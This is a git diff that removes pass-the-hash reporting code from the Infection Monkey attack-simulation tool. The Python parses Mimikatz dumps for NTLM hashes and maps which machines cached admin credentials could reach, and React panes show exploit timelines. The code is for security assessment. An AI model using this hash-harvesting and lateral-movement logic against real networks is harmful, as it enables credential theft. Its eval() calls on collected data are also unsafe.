- continue - shared_admin_account_list = [] - - for sid in pth.GetSharedAdmins(m): - shared_admin_account_list.append(pth.GetUsernameBySid(sid)) - - machine = { - 'ip': m.GetIp(), - 'hostname': m.GetHostName(), - 'domain': m.GetDomainName(), - 'services_names': m.GetCriticalServicesInstalled(), - 'user_count': count, - 'admins_accounts': shared_admin_account_list - } - - shared_admin_machines.append(machine) - - return shared_admin_machines - - @staticmethod - def get_strong_users_on_crit_services_by_machine(pth): - threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetCritialServers())) - strong_users_crit_list = [] - - for m, count in sorted(threatening.iteritems(), key=lambda (k, v): (v, k), reverse=True): - if count <= 0: - continue - - threatening_users_attackers_dict = {} - for sid in pth.GetThreateningUsersByVictim(m): - username = pth.GetUsernameBySid(sid) - threatening_users_attackers_dict[username] = [] - for mm in pth.GetAttackersBySid(sid): - if m == mm: - continue - threatening_users_attackers_dict[username] = mm.GetIp() - - machine = { - 'ip': m.GetIp(), - 'hostname': m.GetHostName(), - 'domain': m.GetDomainName(), - 'services': m.GetCriticalServicesInstalled(), - 'threatening_users': threatening_users_attackers_dict - } - strong_users_crit_list.append(machine) - return strong_users_crit_list - - @staticmethod - def get_strong_users_on_crit_services_by_user(pth): - critical_servers = pth.GetCritialServers() - strong_users_dict = {} - - for server in critical_servers: - users = pth.GetThreateningUsersByVictim(server) - for sid in users: - username = pth.GetUsernameBySid(sid) - if username not in strong_users_dict: - strong_users_dict[username] = { - 'services_names': [], - 'machines': [] - } - strong_users_dict[username]['username'] = username - strong_users_dict[username]['domain'] = server.GetDomainName() - strong_users_dict[username]['services_names'] += server.GetCriticalServicesInstalled() - strong_users_dict[username]['machines'].append(server.GetHostName()) - - return strong_users_dict.values() - - @staticmethod - def get_strong_users_on_non_crit_services(pth): - threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetNonCritialServers())) - - strong_users_non_crit_list = [] - - for m, count in sorted(threatening.iteritems(), key=lambda (k, v): (v, k), reverse=True): - if count <= 0: - continue - - threatening_users_attackers_dict = {} - for sid in pth.GetThreateningUsersByVictim(m): - username = pth.GetUsernameBySid(sid) - threatening_users_attackers_dict[username] = [] - for mm in pth.GetAttackersBySid(sid): - if m == mm: - continue - threatening_users_attackers_dict[username] = mm.GetIp() - - machine = { - 'ip': m.GetIp(), - 'hostname': m.GetHostName(), - 'domain': m.GetDomainName(), - 'services_names': [], - 'user_count': count, - 'threatening_users': threatening_users_attackers_dict - } - strong_users_non_crit_list.append(machine) - return strong_users_non_crit_list - - @staticmethod - def get_duplicated_passwords_issues(pth, password_groups): - issues = [] - previeous_group = [] - for group in password_groups: - username = group['cred_group'][0] - if username in previeous_group: - continue - sid = list(pth.GetSidsByUsername(username.split('\\')[1])) - machine_info = pth.GetSidInfo(sid[0]) - issues.append( - { - 'type': 'shared_passwords', - 'machine': machine_info.get('hostname').split('.')[0], - 'shared_with': group['cred_group'] - } - ) - previeous_group += group['cred_group'] - - return issues - - @staticmethod - def get_shared_local_admins_issues(shared_admins_machines): - issues = [] - for machine in shared_admins_machines: - issues.append( - { - 'type': 'shared_admins', - 'machine': machine.get('hostname'), - 'shared_accounts': machine.get('admins_accounts'), - 'ip': machine.get('ip'), - } - ) - - return issues - - @staticmethod - def strong_users_on_crit_issues(strong_users): - issues = [] - for machine in strong_users: - issues.append( - { - 'type': 'strong_users_on_crit', - 'machine': machine.get('hostname'), - 'services': machine.get('services'), - 'ip': machine.get('ip'), - 'threatening_users': machine.get('threatening_users').keys() - } - ) - - return issues - - @staticmethod - def get_machine_details(node_id): - machine = Machine(node_id) - node = {} - if machine.latest_system_info: - node = { - "id": str(node_id), - "label": '{0} : {1}'.format(machine.GetHostName(), machine.GetIp()), - 'group': 'critical' if machine.IsCriticalServer() else 'normal', - 'users': list(machine.GetCachedUsernames()), - 'ips': [machine.GetIp()], - 'services': machine.GetCriticalServicesInstalled(), - 'hostname': machine.GetHostName() - } - return node - - @staticmethod - def generate_map_nodes(pth): - nodes_list = [] - for node_id in pth.vertices: - node = PTHReportService.get_machine_details(node_id) - nodes_list.append(node) - - return nodes_list - - @staticmethod - def get_issues_list(issues): - issues_dict = {} - - for issue in issues: - machine = issue['machine'] - if machine not in issues_dict: - issues_dict[machine] = [] - issues_dict[machine].append(issue) - - return issues_dict - - @staticmethod - def get_report(): - - issues = [] - pth = PassTheHashReport() - - same_password = PTHReportService.get_duplicated_password_nodes(pth) - local_admin_shared = PTHReportService.get_shared_local_admins_nodes(pth) - strong_users_on_crit_services = PTHReportService.get_strong_users_on_crit_services_by_user(pth) - strong_users_on_non_crit_services = PTHReportService.get_strong_users_on_non_crit_services(pth) - - issues += PTHReportService.get_duplicated_passwords_issues(pth, same_password) - issues += PTHReportService.get_shared_local_admins_issues(local_admin_shared) - issues += PTHReportService.strong_users_on_crit_issues( - PTHReportService.get_strong_users_on_crit_services_by_machine(pth)) - - report = \ - { - 'report_info': - { - 'same_password': same_password, - 'local_admin_shared': local_admin_shared, - 'strong_users_on_crit_services': strong_users_on_crit_services, - 'strong_users_on_non_crit_services': strong_users_on_non_crit_services, - 'pth_issues': issues - }, - 'pthmap': - { - 'nodes': PTHReportService.generate_map_nodes(pth), - 'edges': pth.edges - } - } - return report \ No newline at end of file diff --git a/monkey_island/cc/services/pth_report_utils.py b/monkey_island/cc/services/pth_report_utils.py deleted file mode 100644 index 61fe78765..000000000 --- a/monkey_island/cc/services/pth_report_utils.py +++ /dev/null @@ -1,958 +0,0 @@ -import hashlib -import binascii -import copy -import uuid - -from cc.database import mongo -from cc.services.node import NodeService - -DsRole_RoleStandaloneWorkstation = 0 -DsRole_RoleMemberWorkstation = 1 -DsRole_RoleStandaloneServer = 2 -DsRole_RoleMemberServer = 3 -DsRole_RoleBackupDomainController = 4 -DsRole_RolePrimaryDomainController = 5 - -SidTypeUser = 1 -SidTypeGroup = 2 -SidTypeDomain = 3 -SidTypeAlias = 4 -SidTypeWellKnownGroup = 5 -SidTypeDeletedAccount = 6 -SidTypeInvalid = 7 -SidTypeUnknown = 8 -SidTypeComputer = 9 - - -def is_group_sid_type(type): - return type in (SidTypeGroup, SidTypeAlias, SidTypeWellKnownGroup) - - -def myntlm(x): - hash = hashlib.new('md4', x.encode('utf-16le')).digest() - return str(binascii.hexlify(hash)) - - -def cache(foo): - def hash(o): - if type(o) in (int, float, str, unicode): - return repr(o) - - elif type(o) in (type(None),): - return "___None___" - - elif type(o) in (list, tuple, set): - hashed = tuple([hash(x) for x in o]) - - if "NotHashable" in hashed: - return "NotHashable" - - return hashed - - elif type(o) == dict: - hashed_keys = tuple([hash(k) for k, v in o.iteritems()]) - hashed_vals = tuple([hash(v) for k, v in o.iteritems()]) - - if "NotHashable" in hashed_keys or "NotHashable" in hashed_vals: - return "NotHashable" - - return tuple(zip(hashed_keys, hashed_vals)) - - elif type(o) == Machine: - return o.monkey_guid - - # elif type(o) == PthMap: - # return "PthMapSingleton" - - elif type(o) == PassTheHashReport: - return "PassTheHashReportSingleton" - - else: - assert False, "%s of type %s is not hashable" % (repr(o), type(o)) - return "NotHashable" - - def wrapper(*args, **kwargs): - hashed = (hash(args), hash(kwargs)) - - if "NotHashable" in hashed: - return foo(*args, **kwargs) - - if not hasattr(foo, "_mycache_"): - foo._mycache_ = dict() - - if hashed not in foo._mycache_.keys(): - foo._mycache_[hashed] = foo(*args, **kwargs) - - return copy.deepcopy(foo._mycache_[hashed]) - - return wrapper - - -class Machine(object): - def __init__(self, monkey_guid): - self.monkey_guid = str(monkey_guid) - - self.latest_system_info = mongo.db.telemetry.find( - {"telem_type": "system_info_collection", "monkey_guid": self.monkey_guid}).sort([("timestamp", -1)]).limit( - 1) - - if self.latest_system_info.count() > 0: - self.latest_system_info = self.latest_system_info[0] - else: - self.latest_system_info = None - - self.monkey_info = NodeService.get_monkey_by_guid(self.monkey_guid) - - def __eq__(self, other): - if isinstance(other, self.__class__): - return self.monkey_guid == other.monkey_guid - else: - return False - - @cache - def GetMimikatzOutput(self): - doc = self.latest_system_info - - if not doc: - return None - - return doc.get("data").get("mimikatz") - - @cache - def GetHostName(self): - doc = self.latest_system_info - - for comp in doc.get("data").get("Win32_ComputerSystem", {}): - return eval(comp.get("Name")) - - return None - - @cache - def GetIp(self): - doc = self.latest_system_info - - for addr in doc.get("data").get("network_info", {}).get("networks", {}): - return str(addr["addr"]) - - return None - - @cache - def get_monkey_id(self): - doc = self.monkey_info - - return str(doc.get('_id')) - - @cache - def GetDomainName(self): - doc = self.latest_system_info - - for comp in doc.get("data").get("Win32_ComputerSystem", {}): - return eval(comp.get("Domain")) - - return None - - @cache - def GetDomainRole(self): - doc = self.latest_system_info - - for comp in doc.get("data").get("Win32_ComputerSystem", {}): - return comp.get("DomainRole") - - return None - - @cache - def IsDomainController(self): - return self.GetDomainRole() in (DsRole_RolePrimaryDomainController, DsRole_RoleBackupDomainController) - - #@cache - def GetSidByUsername(self, username, domain=None): - doc = self.latest_system_info - - for user in doc.get("data").get("Win32_UserAccount", {}): - if eval(user.get("Name")) != username: - continue - - if user.get("SIDType") != SidTypeUser: - continue - - if domain and user.get("Domain") != domain: - continue - - return eval(user.get("SID")) - - if not self.IsDomainController(): - for dc in self.GetDomainControllers(): - sid = dc.GetSidByUsername(username) - - if sid != None: - return sid - - return None - - @cache - def GetUsernameBySid(self, sid): - info = self.GetSidInfo(sid) - - if not info: - return None - - return str(info.get("Domain")) + "\\" + str(info.get("Username")) - - @cache - def GetSidInfo(self, sid): - doc = self.latest_system_info - - for user in doc.get("data").get("Win32_UserAccount",{}): - if eval(user.get("SID")) != sid: - continue - - if user.get("SIDType") != SidTypeUser: - continue - - return {"Domain": eval(user.get("Domain")), - "Username": eval(user.get("Name")), - "Disabled": user.get("Disabled") == "true", - "PasswordRequired": user.get("PasswordRequired") == "true", - "PasswordExpires": user.get("PasswordExpires") == "true", - 'hostname': doc.get('data').get('hostname'), } - - if not self.IsDomainController(): - for dc in self.GetDomainControllers(): - domain = dc.GetSidInfo(sid) - - if domain != None: - return domain - - return None - - @cache - def GetCriticalServicesInstalled(self): - def IsNameOfCriticalService(name): - services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS') - services = map(str.lower, services) - - if not name: - return False - - name = name.lower() - - return name in services - # for ser in services: - # if ser in name: - # return True - - return False - - doc = self.latest_system_info - found = [] - - if self.IsDomainController(): - found.append("Domain Controller") - - for product in doc.get("data").get("Win32_Product", {}): - service_name = eval(product.get("Name")) - - if not IsNameOfCriticalService(service_name): - continue - - found.append(service_name) - - for service in doc.get("data").get("Win32_Service", {}): - service_name = eval(service.get("Name")) - - if not IsNameOfCriticalService(service_name): - continue - - if eval(service.get("State")) != "Running": - continue - - found.append(service_name) - - return found - - @cache - def IsCriticalServer(self): - return len(self.GetCriticalServicesInstalled()) > 0 - - @cache - def GetUsernamesBySecret(self, secret): - sam = self.GetLocalSecrets() - - names = set() - - for username, user_secret in sam.iteritems(): - if secret == user_secret: - names.add(username) - - return names - - @cache - def GetSidsBySecret(self, secret): - usernames = self.GetUsernamesBySecret(secret) - return set(map(self.GetSidByUsername, usernames)) - - def GetGroupSidByGroupName(self, group_name): - doc = self.latest_system_info - - for group in doc.get('data').get("Win32_Group", {}): - if eval(group.get("Name")) != group_name: - continue - - if not is_group_sid_type(group.get("SIDType")): - continue - - return eval(group.get("SID")) - - return None - - def GetUsersByGroupSid(self, sid): - doc = self.latest_system_info - - users = dict() - - for group_user in doc.get('data').get("Win32_GroupUser", {}): - if eval(group_user.get("GroupComponent", {}).get("SID")) != sid: - continue - - if not is_group_sid_type(group_user.get("GroupComponent", {}).get("SIDType")): - continue - - if "PartComponent" not in group_user.keys(): - continue - - if type(group_user.get("PartComponent")) in (str, unicode): - # PartComponent is an id to Win32_UserAccount table - - wmi_id = group_user.get("PartComponent") - - if "cimv2:Win32_UserAccount" not in wmi_id: - continue - - username = wmi_id.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0] - domain = wmi_id.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-1] - - sid = self.GetSidByUsername(username, domain) - users[sid] = username - - else: - if group_user.get("PartComponent", {}).get("SIDType") != SidTypeUser: - continue - - users[eval(group_user.get("PartComponent", {}).get("SID"))] = eval(group_user.get("PartComponent") - .get("Name")) - - return users - - @cache - def GetDomainControllersMonkeyGuidByDomainName(self, domain_name): - cur = mongo.db.telemetry.find( - {"telem_type": "system_info_collection", "data.Win32_ComputerSystem.Domain": "u'%s'" % (domain_name,)}) - - GUIDs = set() - - for doc in cur: - if not Machine(doc.get("monkey_guid")).IsDomainController(): - continue - - GUIDs.add(doc.get("monkey_guid")) - - return GUIDs - - def GetLocalAdmins(self): - admins = self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")) - - # debug = self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Users")) - # admins.update(debug) - - return admins - - def GetLocalAdminSids(self): - return set(self.GetLocalAdmins().keys()) - - @cache - def GetLocalSids(self): - doc = self.latest_system_info - - SIDs = set() - - for user in doc.get('data').get("Win32_UserAccount", {}): - if user.get("SIDType") != SidTypeUser: - continue - - SIDs.add(eval(user.get("SID"))) - - return SIDs - - @cache - def GetLocalAdminNames(self): - return set(self.GetLocalAdmins().values()) - - @cache - def GetSam(self): - if not self.GetMimikatzOutput(): - return {} - - mimikatz = self.GetMimikatzOutput() - - if mimikatz.count("\n42.") != 2: - return {} - - try: - sam_users = mimikatz.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] - - sam = {} - - for sam_user_txt in sam_users: - sam_user = dict([map(unicode.strip, line.split(":")) for line in - filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) - - ntlm = sam_user.get("NTLM") - if "[hashed secret]" not in ntlm: - continue - - sam[sam_user.get("User")] = ntlm.replace("[hashed secret]", "").strip() - - return sam - - except: - return {} - - @cache - def GetNtds(self): - if not self.GetMimikatzOutput(): - return {} - - mimikatz = self.GetMimikatzOutput() - - if mimikatz.count("\n42.") != 2: - return {} - - ntds_users = mimikatz.split("\n42.")[2].split("\nRID :")[1:] - ntds = {} - - for ntds_user_txt in ntds_users: - user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip() - ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip() - ntlm = ntlm.replace("[hashed secret]", "").strip() - - if ntlm: - ntds[user] = ntlm - - return ntds - - @cache - def GetLocalSecrets(self): - sam = self.GetSam() - ntds = self.GetNtds() - - secrets = sam.copy() - secrets.update(ntds) - - return secrets - - @cache - def GetLocalAdminSecrets(self): - return set(self.GetLocalAdminCreds().values()) - - @cache - def GetLocalAdminCreds(self): - admin_names = self.GetLocalAdminNames() - sam = self.GetLocalSecrets() - - admin_creds = dict() - - for username, secret in sam.iteritems(): - if username not in admin_names: - continue - - admin_creds[username] = secret - - return admin_creds - - @cache - def GetCachedSecrets(self): - return set(self.GetCachedCreds().values()) - - @cache - def GetCachedCreds(self): - doc = self.latest_system_info - - creds = dict() - - if not self.GetMimikatzOutput(): - return {} - - mimikatz = self.GetMimikatzOutput() - - for user in mimikatz.split("\n42.")[0].split("Authentication Id")[1:]: - username = None - secret = None - - for line in user.splitlines(): - if "User Name" in line: - username = line.split(":")[1].strip() - - if ("NTLM" in line or "Password" in line) and "[hashed secret]" in line: - secret = line.split(":")[1].replace("[hashed secret]", "").strip() - - if username and secret: - creds[username] = secret - - return creds - - @cache - def GetDomainControllers(self): - domain_name = self.GetDomainName() - DCs = self.GetDomainControllersMonkeyGuidByDomainName(domain_name) - return map(Machine, DCs) - - def GetDomainAdminsOfMachine(self): - DCs = self.GetDomainControllers() - - domain_admins = set() - - for dc in DCs: - domain_admins |= set(dc.GetUsersByGroupSid(self.GetGroupSidByGroupName("Domain Admins")).keys()) - - return domain_admins - - #@cache - def GetAdmins(self): - return self.GetLocalAdminSids() # | self.GetDomainAdminsOfMachine() - - @cache - def GetAdminNames(self): - return set(map(lambda x: self.GetUsernameBySid(x), self.GetAdmins())) - - #@cache - def GetCachedSids(self): - doc = self.latest_system_info - - SIDs = set() - - for username in doc.get('data').get("credentials", {}): - sid = self.GetSidByUsername(username) - - if not sid: - sid = "__USERNAME__" + username - - SIDs.add(sid) - - return SIDs - - @cache - def GetCachedUsernames(self): - doc = self.latest_system_info - - names = set() - - for username in doc.get('data').get("credentials", {}): - names.add(username) - - return names - - -class PassTheHashReport(object): - - def __init__(self): - self.vertices = self.GetAllMachines() - - self.machines = map(Machine, self.vertices) - self.edges = self.get_edges_by_sid() # Useful for non-cached domain users - #self.edges |= self.GetEdgesBySamHash() # This will add edges based only on password hash without caring about username - - - def GetAllMachines(self): - cur = mongo.db.telemetry.find({"telem_type": "system_info_collection"}) - - GUIDs = set() - - for doc in cur: - GUIDs.add(doc.get("monkey_guid")) - - return GUIDs - - @cache - def ReprSidList(self, sid_list, victim): - users_list = [] - - for sid in sid_list: - username = Machine(victim).GetUsernameBySid(sid) - - if username: - users_list.append(username) - - return users_list - - @cache - def ReprSecretList(self, secret_list, victim): - relevant_users_list = [] - - for secret in secret_list: - relevant_users_list.append(Machine(victim).GetUsernamesBySecret(secret)) - - return relevant_users_list - - @staticmethod - def __get_edge_label(attacker, victim): - attacker_monkey = NodeService.get_monkey_by_guid(attacker) - victim_monkey = NodeService.get_monkey_by_guid(victim) - - attacker_label = NodeService.get_monkey_label(attacker_monkey) - victim_label = NodeService.get_monkey_label(victim_monkey) - - RIGHT_ARROW = u"\u2192" - return "%s %s %s" % (attacker_label, RIGHT_ARROW, victim_label) - - def get_edges_by_sid(self): - edges_list = [] - - for attacker in self.vertices: - cached = list(self.GetCachedSids(Machine(attacker))) - - for victim in self.vertices: - if attacker == victim: - continue - - admins = list(Machine(victim).GetAdmins()) - - cached_admins = [i for i in cached if i in admins] - - if cached_admins: - relevant_users_list = self.ReprSidList(cached_admins, victim) - edges_list.append( - { - 'from': attacker, - 'to': victim, - 'users': relevant_users_list, - '_label': PassTheHashReport.__get_edge_label(attacker, victim), - 'id': str(uuid.uuid4()) - }) - - return edges_list - - @cache - def GetEdgesBySamHash(self): - edges = set() - - for attacker in self.vertices: - cached_creds = set(Machine(attacker).GetCachedCreds().items()) - - for victim in self.vertices: - if attacker == victim: - continue - - admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) - - if len(cached_creds & admin_creds) > 0: - label = self.ReprSecretList(set(dict(cached_creds & admin_creds).values()), victim) - edges.add((attacker, victim, label)) - - return edges - - @cache - def GetEdgesByUsername(self): - edges = set() - - for attacker in self.vertices: - cached = Machine(attacker).GetCachedUsernames() - - for victim in self.vertices: - if attacker == victim: - continue - - admins = Machine(victim).GetAdminNames() - - if len(cached & admins) > 0: - edges.add((attacker, victim)) - - return edges - - @cache - def GetPossibleAttackCountBySid(self, sid): - return len(self.GetPossibleAttacksBySid(sid)) - - @cache - def GetPossibleAttacksByAttacker(self, attacker): - attacks = set() - - cached_creds = set(Machine(attacker).GetCachedCreds().items()) - - for victim in self.vertices: - if attacker == victim: - continue - - admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) - - if len(cached_creds & admin_creds) > 0: - curr_attacks = dict(cached_creds & admin_creds) - attacks.add((attacker, victim, curr_attacks)) - - return attacks - - @cache - def GetPossibleAttacksBySid(self, sid): - attacks = set() - - for attacker in self.vertices: - tmp = self.GetPossibleAttacksByAttacker(attacker) - - for _, victim, curr_attacks in tmp: - for username, secret in curr_attacks.iteritems(): - if Machine(victim).GetSidByUsername(username) == sid: - attacks.add((attacker, victim)) - - return attacks - - @cache - def GetSecretBySid(self, sid): - for m in self.machines: - for user, user_secret in m.GetLocalSecrets().iteritems(): - if m.GetSidByUsername(user) == sid: - return user_secret - - return None - - @cache - def GetVictimCountBySid(self, sid): - return len(self.GetVictimsBySid(sid)) - - @cache - def GetVictimCountByMachine(self, attacker): - return len(self.GetVictimsByAttacker(attacker)) - - @cache - def GetAttackCountBySecret(self, secret): - return len(self.GetAttackersBySecret(secret)) - - @cache - def GetAllUsernames(self): - names = set() - - for sid in self.GetAllSids(): - names.add(self.GetUsernameBySid(sid)) - - return names - - @cache - def GetAllSids(self): - SIDs = set() - - for m in self.machines: - SIDs |= m.GetLocalSids() - - return SIDs - - @cache - def GetAllSecrets(self): - secrets = set() - - for m in self.machines: - for secret in m.GetLocalAdminSecrets(): - secrets.add(secret) - - return secrets - - @cache - def GetUsernameBySid(self, sid): - for m in self.machines: - username = m.GetUsernameBySid(sid) - - if username: - return username - - return None - - @cache - def GetSidInfo(self, sid): - for m in self.machines: - info = m.GetSidInfo(sid) - - if info: - return info - - return None - - @cache - def GetSidsBySecret(self, secret): - SIDs = set() - - for m in self.machines: - SIDs |= m.GetSidsBySecret(secret) - - return SIDs - - @cache - def GetAllDomainControllers(self): - DCs = set() - - for m in self.machines: - if m.IsDomainController(): - DCs.add(m) - - return DCs - - @cache - def GetSidsByUsername(self, username): - SIDs = set() - - for m in self.machines: - sid = m.GetSidByUsername(username) - if sid: - SIDs.add(sid) - - return SIDs - - @cache - def GetVictimsBySid(self, sid): - machines = set() - - for m in self.machines: - if sid in m.GetAdmins(): - machines.add(m) - - return machines - - @cache - def GetVictimsBySecret(self, secret): - machines = set() - - SIDs = self.GetSidsBySecret(secret) - - for m in self.machines: - if len(SIDs & m.GetAdmins()) > 0: - machines.add(m) - - return machines - - @cache - def GetAttackersBySecret(self, secret): - machines = set() - - for m in self.machines: - if secret in m.GetCachedSecrets(): - machines.add(m) - - return machines - - @cache - def GetAttackersByVictim(self, victim): - if type(victim) != unicode: - victim = victim.monkey_guid - - attackers = set() - - for edge in self.edges: - if edge.get('to', None) == victim: - attackers.add(edge.get('from', None)) - - return set(map(Machine, attackers)) - - @cache - def GetAttackersBySid(self, sid): - machines = set() - - for m in self.machines: - if sid in self.GetCachedSids(m): - machines.add(m) - - return machines - - @cache - def GetVictimsByAttacker(self, attacker): - if type(attacker) != unicode: - attacker = attacker.monkey_guid - - victims = set() - - for atck, vic, _ in self.edges: - if atck == attacker: - victims.add(vic) - - return set(map(Machine, victims)) - - @cache - def GetInPathCountByVictim(self, victim, already_processed=None): - if type(victim) != unicode: - victim = victim.monkey_guid - - if not already_processed: - already_processed = set([victim]) - - count = 0 - - for atck, vic, _ in self.edges: - if atck == vic: - continue - - if vic != victim: - continue - - if atck in already_processed: - continue - - count += 1 - - already_processed.add(atck) - count += self.GetInPathCountByVictim(atck, already_processed) - - return count - - @cache - def GetCritialServers(self): - machines = set() - - for m in self.machines: - if m.IsCriticalServer(): - machines.add(m) - - return machines - - @cache - def GetNonCritialServers(self): - return set(self.machines) - self.GetCritialServers() - - #@cache - def GetCachedSids(self, m): - sids = set() - tmp = m.GetCachedSids() - - for sid in tmp: - if sid.startswith("__USERNAME__"): - - s = self.GetSidsByUsername(sid[len("__USERNAME__"):]) - if len(s) == 1: - sids.add(s.pop()) - else: - sids.add(sid) - - else: - sids.add(sid) - - return sids - - @cache - def GetThreateningUsersByVictim(self, victim): - threatening_users = set() - - for attacker in self.GetAttackersByVictim(victim): - # For each attacker, get the cached users and check which of them is an admin on the victim - threatening_users |= (self.GetCachedSids(attacker) & victim.GetAdmins()) - - return threatening_users - - def GetSharedAdmins(self, m): - shared_admins = [] - - for other in self.machines: - if m == other: - continue - for sid in m.GetLocalAdminSids(): - if sid in other.GetLocalAdminSids(): - shared_admins.append(sid) - - #shared_admins |= (m.GetLocalAdminSids() & other.GetLocalAdminSids()) - - shared_admins = [admin for admin in shared_admins if admin not in list(m.GetDomainAdminsOfMachine())] - - return shared_admins diff --git a/monkey_island/cc/services/user_info.py b/monkey_island/cc/services/user_info.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js b/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js deleted file mode 100644 index e06043c20..000000000 --- a/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js +++ /dev/null @@ -1,247 +0,0 @@ -import React from 'react'; -import {Icon} from 'react-fa'; -import Toggle from 'react-toggle'; -import {OverlayTrigger, Tooltip} from 'react-bootstrap'; -import download from 'downloadjs' -import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane'; - -class InfMapPreviewPaneComponent extends PreviewPaneComponent { - - osRow(asset) { - return ( - - Operating System - {asset.os.charAt(0).toUpperCase() + asset.os.slice(1)} - - ); - } - - ipsRow(asset) { - return ( - - IP Addresses - {asset.ip_addresses.map(val =>
    {val}
    )} - - ); - } - - servicesRow(asset) { - return ( - - Services - {asset.services.map(val =>
    {val}
    )} - - ); - } - - accessibleRow(asset) { - return ( - - - Accessible From  - {this.generateToolTip('List of machine which can access this one using a network protocol')} - - {asset.accessible_from_nodes.map(val =>
    {val}
    )} - - ); - } - - statusRow(asset) { - return ( - - Status - {(asset.dead) ? 'Dead' : 'Alive'} - - ); - } - - forceKill(event, asset) { - let newConfig = asset.config; - newConfig['alive'] = !event.target.checked; - this.authFetch('/api/monkey/' + asset.guid, - { - method: 'PATCH', - headers: {'Content-Type': 'application/json'}, - body: JSON.stringify({config: newConfig}) - }); - } - - forceKillRow(asset) { - return ( - - - Force Kill  - {this.generateToolTip('If this is on, monkey will die next time it communicates')} - - - this.forceKill(e, asset)}/> - - - - ); - } - - unescapeLog(st) { - return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string. - .replace(/\\n/g, "\n") - .replace(/\\r/g, "\r") - .replace(/\\t/g, "\t") - .replace(/\\b/g, "\b") - .replace(/\\f/g, "\f") - .replace(/\\"/g, '\"') - .replace(/\\'/g, "\'") - .replace(/\\&/g, "\&"); - } - - downloadLog(asset) { - this.authFetch('/api/log?id=' + asset.id) - .then(res => res.json()) - .then(res => { - let timestamp = res['timestamp']; - timestamp = timestamp.substr(0, timestamp.indexOf('.')); - let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log'; - let logContent = this.unescapeLog(res['log']); - download(logContent, filename, 'text/plain'); - }); - - } - - downloadLogRow(asset) { - return ( - - - Download Log - - - this.downloadLog(asset)}>Download - - - ); - } - - exploitsTimeline(asset) { - if (asset.exploits.length === 0) { - return (
    ); - } - - return ( -
    -

    - Exploit Timeline  - {this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')} -

    -
      - {asset.exploits.map(exploit => -
    • -
      -
      {new Date(exploit.timestamp).toLocaleString()}
      -
      {exploit.origin}
      -
      {exploit.exploiter}
      -
    • - )} -
    -
    - ) - } - - assetInfo(asset) { - return ( -
    - - - {this.osRow(asset)} - {this.ipsRow(asset)} - {this.servicesRow(asset)} - {this.accessibleRow(asset)} - -
    - {this.exploitsTimeline(asset)} -
    - ); - } - - infectedAssetInfo(asset) { - return ( -
    - - - {this.osRow(asset)} - {this.statusRow(asset)} - {this.ipsRow(asset)} - {this.servicesRow(asset)} - {this.accessibleRow(asset)} - {this.forceKillRow(asset)} - {this.downloadLogRow(asset)} - -
    - {this.exploitsTimeline(asset)} -
    - ); - } - - scanInfo(edge) { - return ( -
    - - - - - - - - - - - - - - - -
    Operating System{edge.os.type}
    IP Address{edge.ip_address}
    Services{edge.services.map(val =>
    {val}
    )}
    - { - (edge.exploits.length === 0) ? - '' : -
    -

    Timeline

    -
      - {edge.exploits.map(exploit => -
    • -
      -
      {new Date(exploit.timestamp).toLocaleString()}
      -
      {exploit.origin}
      -
      {exploit.exploiter}
      -
    • - )} -
    -
    - } -
    - ); - } - - islandEdgeInfo() { - return ( -
    -
    - ); - } - - getInfoByProps() { - switch (this.props.type) { - case 'edge': - return this.scanInfo(this.props.item); - case 'node': - return this.props.item.group.includes('monkey', 'manual') ? - this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item); - case 'island_edge': - return this.islandEdgeInfo(); - } - - return null; - } -} - -export default InfMapPreviewPaneComponent; diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js b/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js deleted file mode 100644 index f9a5ae1bb..000000000 --- a/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js +++ /dev/null @@ -1,63 +0,0 @@ -import React from 'react'; -import {Icon} from 'react-fa'; -import Toggle from 'react-toggle'; -import {OverlayTrigger, Tooltip} from 'react-bootstrap'; -import download from 'downloadjs' -import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane'; - -class PthPreviewPaneComponent extends PreviewPaneComponent { - nodeInfo(asset) { - return ( -
    - - - - - - - - - - - - - - - - - - - -
    Hostname{asset.hostname}
    IP Addresses{asset.ips.map(val =>
    {val}
    )}
    Services{asset.services.map(val =>
    {val}
    )}
    Compromised Users{asset.users.map(val =>
    {val}
    )}
    -
    - ); - } - - edgeInfo(edge) { - return ( -
    - - - - - - - -
    Compromised Users{edge.users.map(val =>
    {val}
    )}
    -
